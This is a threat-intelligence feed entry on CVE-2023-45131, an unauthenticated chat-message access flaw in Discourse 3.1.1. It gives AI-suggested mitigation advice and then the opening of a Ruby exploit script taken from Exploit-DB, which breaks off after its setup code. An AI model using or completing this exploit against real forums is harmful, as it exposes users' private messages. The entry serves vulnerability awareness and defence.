Discourse 3.1.1 · Unauthenticated Chat Message Access
Source Exploit-DB RSS Feed
Rated by Threat Radar
Data as of 29 Sep 2025, 00:52 UTC
What to do
AI-suggested
Organizations should immediately assess their use of Discourse 3.1.1 and consider upgrading to a later version if available, as newer releases may contain fixes. In the absence of official patches, administrators should restrict access to the chat feature by limiting network exposure, for example, by placing Discourse behind VPNs or IP allowlists to reduce unauthenticated access. Monitoring and logging access to chat endpoints can help detect unauthorized attempts. Additionally, disabling or restricting chat functionality temporarily until a patch is available can mitigate risk. Reviewing and hardening authentication and authorization mechanisms around chat components is recommended. Organizations should also prepare incident response plans for potential data exposure and ensure compliance with data breach notification requirements.
Description
Discourse 3.1.1 - Unauthenticated Chat Message Access
Indicators of compromise
Exploit source code
#!/usr/bin/env ruby
# Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
# CVE-2023-45131
# CVSS: 7.5 (High)
# Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
# Author ibrahimsql @ https://twitter.com/ibrahmsql
# Date: 2023-12-14
require 'net/http'
require 'uri'
require 'json'
require 'openssl'
require 'base64'
class CVE202345131
def initialize(target_url)
@target_url = target_url.chomp('/')
@results = []
@message_bus_client_id = nil
@csrf_token = nil
end
de…